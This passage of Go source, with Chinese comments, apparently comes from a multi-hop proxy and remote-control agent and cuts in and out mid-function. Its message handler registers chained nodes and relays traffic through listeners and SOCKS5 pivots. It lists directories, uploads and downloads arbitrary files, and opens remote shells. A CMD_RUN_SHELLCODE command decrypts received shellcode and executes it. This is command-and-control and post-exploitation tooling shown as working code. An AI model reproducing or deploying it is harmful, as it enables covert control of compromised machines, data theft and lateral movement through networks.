n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
resultMsg := regmsg
|
||||
resultMsg.UUID = currentNode.uuid
|
||||
resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName)
|
||||
resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp)
|
||||
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
|
||||
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
|
||||
|
||||
b, _ := json.Marshal(resultMsg)
|
||||
//返回成功结果
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
//储存节点
|
||||
n.uuid = uuid
|
||||
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
|
||||
n.conn.node = n
|
||||
nodeMap[regmsg.UUID] = n
|
||||
|
||||
}
|
||||
currentNode.broadcastNode()
|
||||
//把本机所有节点同步到注册机器
|
||||
go n.writeGetNodeResult(msg.CmdId)
|
||||
}()
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
|
||||
if err != nil {
|
||||
select {
|
||||
case n.conn.regResult <- err:
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if regmsg.Err != "" {
|
||||
select {
|
||||
case n.conn.regResult <- errors.New(regmsg.Err):
|
||||
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||
l := clientLock.Lock()
|
||||
|
||||
n.uuid = regmsg.UUID
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
workconn := n.conn
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
if v, ok := nodeMap[regmsg.UUID]; ok {
|
||||
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
|
||||
n.uuid = "" //清空uuid避免正常的node被删
|
||||
n.conn.Close("重复注册") //当前的连接关掉
|
||||
n.conn = v.conn
|
||||
v.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
n = v
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
|
||||
nodeMap[n.uuid] = n
|
||||
l.Unlock()
|
||||
|
||||
select {
|
||||
case workconn.regResultNode <- n:
|
||||
|
||||
default:
|
||||
}
|
||||
|
||||
//交换节点
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_REMOTE_REG:
|
||||
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if currentConfig.Limit {
|
||||
regmsg.Err = "node is in limit mode"
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||
return
|
||||
}
|
||||
if err == nil {
|
||||
var newNode *node
|
||||
|
||||
newNode, err = connectNew(regmsg.RegAddr)
|
||||
if err == nil {
|
||||
|
||||
regmsg.UUID = newNode.uuid
|
||||
regmsg.Hostname = cert.RSADecrypterStr(newNode.hostName)
|
||||
regmsg.ViaUUID = cert.RSADecrypterStr(currentNode.uuid)
|
||||
regmsg.MainIp = cert.RSADecrypterStr(newNode.mainIp)
|
||||
regmsg.Port = cert.RSADecrypterStr(strconv.Itoa(newNode.port))
|
||||
regmsg.Goos = cert.RSADecrypterStr(newNode.goos)
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||
}
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
case common.CMD_REMOTE_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
v, ok := n.loadQuery(msg.CmdId)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
v <- err
|
||||
return
|
||||
}
|
||||
if regmsg.Err != "" {
|
||||
v <- errors.New(regmsg.Err)
|
||||
return
|
||||
}
|
||||
l := clientLock.Lock()
|
||||
if n.uuid != regmsg.UUID {
|
||||
var targetNode *node
|
||||
if targetNode, ok = nodeMap[regmsg.UUID]; !ok {
|
||||
targetNode = getNewNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
|
||||
Port: cert.RSADecrypterStr(regmsg.Port),
|
||||
Goos: cert.RSADecrypterStr(regmsg.Goos),
|
||||
}, n)
|
||||
|
||||
nodeMap[regmsg.UUID] = targetNode
|
||||
} else {
|
||||
targetNode.updateNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
|
||||
Port: cert.RSADecrypterStr(regmsg.Port),
|
||||
Goos: cert.RSADecrypterStr(regmsg.Goos),
|
||||
})
|
||||
}
|
||||
v <- targetNode
|
||||
} else {
|
||||
v <- n
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_PING:
|
||||
n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...))
|
||||
case common.CMD_NONE:
|
||||
|
||||
case common.CMD_PONG:
|
||||
pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
|
||||
if pingTime != n.pingTime {
|
||||
return
|
||||
}
|
||||
n.addr = string(msg.CmdData[8:])
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
n.pongTime = time.Now().Unix()
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
select {
|
||||
case v <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_CONN_UDP_MSG:
|
||||
|
||||
_, ok := n.connMap.Load(msg.CmdId)
|
||||
|
||||
if ok {
|
||||
|
||||
var conn common.Conn
|
||||
id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
|
||||
if v2, ok := n.connMap.Load(id); ok {
|
||||
conn = v2.(common.Conn)
|
||||
} else {
|
||||
var ip string
|
||||
switch msg.CmdData[4] {
|
||||
case 1:
|
||||
ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10]))
|
||||
|
||||
case 3:
|
||||
case 4:
|
||||
}
|
||||
udpconn := &serverConnect{}
|
||||
udpconn.conn, err = net.Dial("udp", ip)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
udpconn.node = n
|
||||
udpconn.id = id
|
||||
udpconn.write = make(chan *bytes.Buffer, 64)
|
||||
udpconn.close = 0
|
||||
udpconn.windowsSize = 0
|
||||
udpconn.wait = make(chan int)
|
||||
|
||||
n.connMap.Store(udpconn.id, udpconn)
|
||||
go udpconn.handUdpReceive()
|
||||
conn = udpconn
|
||||
}
|
||||
switch msg.CmdData[4] {
|
||||
case 1:
|
||||
conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...))
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_LISTEN:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
if len(msg.CmdData) < 8 {
|
||||
return
|
||||
}
|
||||
randkey := make([]byte, 8)
|
||||
copy(randkey, msg.CmdData)
|
||||
//fmt.Println("listen", string(data[common.Headlen+4:]))
|
||||
_l, err := net.Listen("tcp", string(msg.CmdData[8:]))
|
||||
if err != nil {
|
||||
data := append(randkey, 0)
|
||||
data = append(randkey, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
} else {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
|
||||
}
|
||||
l := &serverListen{listen: _l, node: n, id: msg.CmdId, randkey: randkey}
|
||||
n.listenMap.Store(msg.CmdId, l)
|
||||
|
||||
go l.Lisen()
|
||||
case common.CMD_REMOTE_SOCKS5:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
if len(msg.CmdData) < 8 {
|
||||
return
|
||||
}
|
||||
randkey := make([]byte, 8)
|
||||
copy(randkey, msg.CmdData)
|
||||
|
||||
cfg, err := common.ParseAddr(string(msg.CmdData[8:]))
|
||||
if err != nil {
|
||||
data := append(randkey, 0)
|
||||
data = append(data, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
}
|
||||
l := &serverListen{node: n, id: msg.CmdId, randkey: randkey}
|
||||
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
|
||||
if err != nil {
|
||||
data := append(randkey, 0)
|
||||
data = append(data, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
} else {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
|
||||
}
|
||||
|
||||
n.listenMap.Store(l.id, l)
|
||||
|
||||
case common.CMD_LISTEN_RESULT:
|
||||
|
||||
if len(msg.CmdData) < 9 {
|
||||
return
|
||||
}
|
||||
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||
if c, ok := v.(*clientListen); ok {
|
||||
if string(c.randkey) == string(msg.CmdData[:8]) {
|
||||
if msg.CmdData[8] == 0 {
|
||||
select {
|
||||
case c.result <- errors.New(string(msg.CmdData[9:])):
|
||||
default:
|
||||
}
|
||||
|
||||
} else {
|
||||
select {
|
||||
case c.result <- nil:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_DELETE_LISTEN:
|
||||
if len(msg.CmdData) < 8 {
|
||||
return
|
||||
}
|
||||
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
switch s := v.(type) {
|
||||
case *serverListen:
|
||||
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||
s.Close(remoteClose)
|
||||
n.listenMap.Delete(msg.CmdId)
|
||||
}
|
||||
|
||||
case *clientListen:
|
||||
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||
s.Close(remoteClose)
|
||||
n.listenMap.Delete(msg.CmdId)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_DELETE_LISTENCONN_BYID:
|
||||
if len(msg.CmdData) != 12 {
|
||||
return
|
||||
}
|
||||
deleteId := uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
|
||||
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
if s, ok := v.(*serverListen); ok {
|
||||
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||
conn, ok := s.connMap.Load(deleteId)
|
||||
if ok {
|
||||
conn.(*serverConnect).Close(remoteClose)
|
||||
s.connMap.Delete(deleteId)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_PWD:
|
||||
if currentConfig.Password == cert.RSADecrypterByPub(string(msg.CmdData)) {
|
||||
pwd, _ := os.Getwd()
|
||||
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
|
||||
}
|
||||
|
||||
case common.CMD_PWD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
select {
|
||||
case v <- string(msg.CmdData):
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_GET_NODE:
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
case common.CMD_GET_NODE_RESULT:
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
var s []nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &s)
|
||||
if err == nil {
|
||||
for _, _n := range s {
|
||||
_n = nodeInfo{
|
||||
UUID: _n.UUID,
|
||||
HostName: cert.RSADecrypterStr(_n.HostName),
|
||||
MainIp: cert.RSADecrypterStr(_n.MainIp),
|
||||
Port: cert.RSADecrypterStr(_n.Port),
|
||||
Goos: cert.RSADecrypterStr(_n.Goos),
|
||||
}
|
||||
if _n.UUID != currentNode.uuid {
|
||||
if v, ok := nodeMap[_n.UUID]; !ok {
|
||||
nodeMap[_n.UUID] = getNewNode(_n, n)
|
||||
} else {
|
||||
v.hostName = _n.HostName
|
||||
v.mainIp = _n.MainIp
|
||||
v.port, _ = strconv.Atoi(_n.Port)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
v, ok := n.loadQuery(msg.CmdId)
|
||||
if ok {
|
||||
//通知已更新列表
|
||||
select {
|
||||
case v <- err:
|
||||
default:
|
||||
}
|
||||
}
|
||||
case common.CMD_GET_CURRENT_NODE:
|
||||
nmsg := &nodeInfo{
|
||||
UUID: currentNode.uuid,
|
||||
HostName: cert.RSAEncrypterStr(currentNode.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(fmt.Sprint(currentNode.port)),
|
||||
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||
}
|
||||
b, _ := json.Marshal(nmsg)
|
||||
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
|
||||
|
||||
case common.CMD_ADD_NODE:
|
||||
var nmsg nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
if v, ok := nodeMap[nmsg.UUID]; !ok {
|
||||
newNode := getNewNode(nmsg, n)
|
||||
nodeMap[nmsg.UUID] = newNode
|
||||
} else if nmsg.UUID != currentNode.uuid {
|
||||
port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port))
|
||||
if err == nil {
|
||||
v.port = port
|
||||
} else {
|
||||
v.port = -1
|
||||
}
|
||||
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
v.uuid = nmsg.UUID
|
||||
|
||||
nodeMap[nmsg.UUID] = v
|
||||
|
||||
}
|
||||
case common.CMD_DIR:
|
||||
|
||||
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
|
||||
dir, err := ioutil.ReadDir(dirPth)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
|
||||
return
|
||||
}
|
||||
var s []string
|
||||
var maxlen int
|
||||
var hasdir string
|
||||
for _, fi := range dir {
|
||||
if len(fi.Name()) > maxlen {
|
||||
maxlen = len(fi.Name())
|
||||
}
|
||||
if fi.IsDir() {
|
||||
hasdir = " "
|
||||
}
|
||||
}
|
||||
for _, fi := range dir {
|
||||
var p string
|
||||
name := bytes.Repeat([]byte(" "), maxlen)
|
||||
copy(name, fi.Name())
|
||||
if fi.IsDir() { // 忽略目录
|
||||
p = "<DIR> " + string(name)
|
||||
} else {
|
||||
p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10)
|
||||
}
|
||||
s = append(s, p)
|
||||
}
|
||||
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n")))
|
||||
|
||||
case common.CMD_DIR_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
select {
|
||||
case v <- string(msg.CmdData):
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case common.CMD_CD:
|
||||
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
|
||||
s, err := os.Stat(dirPth)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
return
|
||||
}
|
||||
if s.IsDir() {
|
||||
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...))
|
||||
} else {
|
||||
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...))
|
||||
}
|
||||
case common.CMD_CD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
if msg.CmdData[0] == 0 {
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
} else {
|
||||
select {
|
||||
case v <- string(msg.CmdData[1:]):
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_CONNECT_BYID:
|
||||
|
||||
var l *clientListen
|
||||
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||
l, _ = v.(*clientListen)
|
||||
}
|
||||
if l == nil {
|
||||
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
|
||||
return
|
||||
}
|
||||
if len(msg.CmdData) < 8 || string(l.randkey) != string(msg.CmdData[:8]) {
|
||||
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
|
||||
return
|
||||
}
|
||||
//l := clientLock.Lock()
|
||||
//b := clientListenMap[id]
|
||||
//l.Unlock()
|
||||
conn, err := net.Dial("tcp", l.localAddr)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, append(l.randkey, msg.CmdData...))
|
||||
return
|
||||
}
|
||||
client := &clientConnect{}
|
||||
client.id = uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
|
||||
client.server = l.server
|
||||
client.listenId = msg.CmdId
|
||||
client.conn = conn
|
||||
client.OnOpened()
|
||||
client.randkey = append([]byte{}, l.randkey...)
|
||||
l.connMap.Store(client.id, client)
|
||||
l.server.connMap.Store(client.id, client)
|
||||
go rawHandleLocal(client)
|
||||
case common.CMD_PING_LISTEN:
|
||||
if _, ok := n.listenMap.Load(msg.CmdId); !ok {
|
||||
//通知客户端服务器listen不存在
|
||||
n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0})
|
||||
}
|
||||
|
||||
case common.CMD_PING_LISTEN_RESULT:
|
||||
if value, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
switch v := value.(type) {
|
||||
case *clientListen:
|
||||
n.Write(v.openOption, v.id, v.openMsg)
|
||||
go func() {
|
||||
select {
|
||||
case res := <-v.result:
|
||||
if err, ok := res.(error); ok {
|
||||
v.Close(err.Error())
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
|
||||
v.Close("listen time out")
|
||||
|
||||
}
|
||||
}()
|
||||
case *serverListen:
|
||||
v.Close(remoteClose)
|
||||
}
|
||||
}
|
||||
case common.CMD_UPLOAD:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
i := bytes.IndexByte(msg.CmdData, 0)
|
||||
if i == -1 {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
|
||||
return
|
||||
}
|
||||
file := string(msg.CmdData[:i])
|
||||
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
|
||||
var f *os.File
|
||||
|
||||
if offset == 0 {
|
||||
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)
|
||||
} else {
|
||||
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666)
|
||||
}
|
||||
if err != nil {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
f.Seek(offset, 0)
|
||||
num, err := f.Write(msg.CmdData[i+9:])
|
||||
if err != nil {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
if num != len(msg.CmdData[i+9:]) {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...))
|
||||
return
|
||||
}
|
||||
s, err := os.Stat(file)
|
||||
if err == nil {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)})
|
||||
}
|
||||
|
||||
case common.CMD_UPLOAD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
if msg.CmdData[0] == 0 {
|
||||
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
} else {
|
||||
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
|
||||
select {
|
||||
case v <- size:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_DOWNLOAD:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
i := bytes.IndexByte(msg.CmdData, 0)
|
||||
file := string(msg.CmdData[:i])
|
||||
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
|
||||
var size int64
|
||||
if offset == -1 {
|
||||
s, err := os.Stat(file)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
if s.IsDir() {
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...))
|
||||
return
|
||||
}
|
||||
size = s.Size()
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)})
|
||||
}
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
f.Seek(offset, 0)
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
buf := make([]byte, common.MAX_PACKAGE-1)
|
||||
num, err := f.Read(buf)
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
|
||||
return
|
||||
}
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...))
|
||||
}
|
||||
case common.CMD_DOWNLOAD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
switch msg.CmdData[0] {
|
||||
case 0:
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
case 1:
|
||||
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
|
||||
select {
|
||||
case v <- size:
|
||||
default:
|
||||
}
|
||||
case 2:
|
||||
select {
|
||||
case v <- msg.CmdData[1:]:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
case common.CMD_SHELL:
|
||||
var param StartCmdParam
|
||||
if err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), ¶m); err != nil {
|
||||
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
}
|
||||
if err := startCMD(n, msg.CmdId, param); err != nil {
|
||||
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
}
|
||||
case common.CMD_SHELL_RESULT:
|
||||
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
|
||||
if msg.CmdData[0] == 0 {
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
} else {
|
||||
select {
|
||||
case v <- msg.CmdData[1:]:
|
||||
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_SHELL_DATA:
|
||||
|
||||
if v, ok := n.shellMap.Load(msg.CmdId); ok {
|
||||
cmd := v.(*remoteCmd)
|
||||
select {
|
||||
case cmd.inChan <- msg.CmdData:
|
||||
default:
|
||||
}
|
||||
}
|
||||
case common.CMD_RUN_SHELLCODE:
|
||||
go func() {
|
||||
var s ShellCodeStruct
|
||||
err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &s)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
|
||||
}
|
||||
err = doShellcode(s)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
|
||||
} else {
|
||||
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil)
|
||||
}
|
||||
}()
|
||||
|
||||
case common.CMD_RUN_SHELLCODE_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
var err error
|
||||
if len(msg.CmdData) > 0 {
|
||||
err = errors.New(string(msg.CmdData))
|
||||
}
|
||||
|
||||
select {
|
||||
case v <- err:
|
||||
default:
|
||||
}
|
||||
}
|
||||
default:
|
||||
|
||||
n.conn.Close("协议错误")
|
||||
|
||||
}
|
||||
}
|
||||
func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||
regmsg := common.RegMsg{
|
||||
RegAddr: addr,
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||
}
|
||||
regmsg.Hostname, _ = os.Hostname()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
|
||||
n.Write(common.CMD_REMOTE_REG, id, b)
|
||||
select {
|
||||
case i := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
if v, ok := i.(error); ok {
|
||||
return nil, v
|
||||
}
|
||||
if v, ok := i.(*node); ok {
|
||||
return v, nil
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
return nil, errors.New("time out")
|
||||
}
|
||||
return nil, errors.New("error result")
|
||||
}
|
||||
func (n *node) Close(reason string) {
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.Close(reason)
|
||||
}
|
||||
n.Delete(reason)
|
||||
}
|
||||
func getNewNode(m nodeInfo, n *node) *node {
|
||||
port, _ := strconv.Atoi(m.Port)
|
||||
newNode := &node{
|
||||
uuid: m.UUID,
|
||||
